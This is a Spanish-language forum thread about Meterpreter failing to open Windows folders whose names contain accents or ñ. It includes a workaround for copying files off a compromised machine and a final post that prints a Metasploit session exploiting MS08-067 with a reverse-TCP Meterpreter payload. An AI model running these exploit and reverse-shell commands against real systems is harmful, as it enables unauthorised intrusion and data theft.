problemas con eñes y acentos

Iniciado por chewwe, 18 Junio 2010, 11:20 AM

0 Miembros y 1 Visitante están viendo este tema.

chewwe

hola.

jugando con meterpreter me encuentro con carpetas acentuadas o con alguna eñe en su nombre y no puedo entrar en ellas ya que metasploit no me reconoce las eñes ni los acentos.
hay alguna manera de hacer que metasploit reconozca estos signos?.
desde una shell de cmd puedo acceder a las carpetas usando asteriscos por los signos, por lo que podria subir un ftp al sistema auditado y asi poder bajar los archivos que necesito, pero me parece como si tuviera que dar un rodeo, seguro que hay alguna manera mas facil.
solo comentar que disfruto de todos los privilegios en el sistema auditado.
gracias

perdon si este post no debiera ir aqui, pero no se me ocurre donde mejor.

sclub

Hola!

Has probado a escribir mitad del nombre y luego tabulador(por lo de autocompletado)??? No es una solución al problema, pero si a la situación.  ;)

Saludos!
... because making UNIX friendly is easier than debugging Windows.

chewwe

hola SClub y gracias por responder.

si, si he probado pero meterpreter no te autocompleta cuando pasas de carpeta a carpeta, ni para cambiar el nombre dicha carpeta. (por lo menos a mi)

gracias de todos modos.

tragantras

probaste a introducir la ruta como un literal? -> cd "españa"
en vez de cd españa
Colaboraciones:
1 2

chewwe

hola tragantras y gracias por contestar

lo acabo de probar y nada.
la unica manera de entrar en la dichosa carpeta es a traves la shell que me proporciona meterpreter cambiando los dichosos signos por asteriscos.

me gustaria aclarar que el ordenador auditado es de mi propiedad y quiero esos archivos para ganar un reto

chewwe

ya solucione el problema puntual que tenia. la solucion fue bien sencilla aunque seguro la hay mas sencilla aun. lo que hice:

con meterpreter creo una carpeta en c:\
con la shell de cmd me meto en la carpeta con el acento usando el asterisco para poder entrar e ella
con copy, desde la shell de cmd copio los archivos que queria en la carpeta creada en c:\
con meterpreter bajo los archivos desde la carpeta creada en c:\
y ya esta. (problema solucionado)

de todos modos si alguien sabe como tratar este tipo de archivos o carpetas con eñes y/o acentos desde meterpreter directamente, agradeceria me lo contase

gracias

m3m089

hola que tal amigo t cuento la manera en que solucione tal problema,

En la consola o shell, selecciona la pestaña terminal la cual t desplegara un menu del cual elijes el tipo de codificacion de caracteres y t mostrara la codificacion que estas utilizando actualmente (por default por lo regular siempre esta la UTF-8) ademas de darte la opcion de agregar otro tipo de codificacion, para lo cual damos click en la pestaña agregar.



Una vez hecho lo anterior se abrira una ventana de la cual del ladoi zquierdo tenemos las codificaciones que podemos utilizar, entonces vamos a seleccionar la que usa Windows que es la ISO-8859-15 , una vez seleccionada damos click en la flechita -> para que se agregue en el recuadro del lado derecho.





Una vez agregado cerramos esa ventana y vamos nuevamente a la pestaña terminal y seleccionamos la pestaña que nos muestra el tipo de codificacion que estamos usando, verficamos que este seleccionada la ISO-8859-15, de no estar seleccionada la seleccionamos, y eso seria todo. Ahora si podemos usar metasploit y consguir entrar a las carpetas con eñe y acentos.



msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST XXX.XXX.X.XX
RHOST => XXX.XXX.X.XX
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST XXX.XXX.X.XX
LHOST => XXX.XXX.X.XX
msf exploit(ms08_067_netapi) > exploit
meterpreter > pwd
C:\WINDOWS\system32

y todo lo demas que ustedes saben hacer =)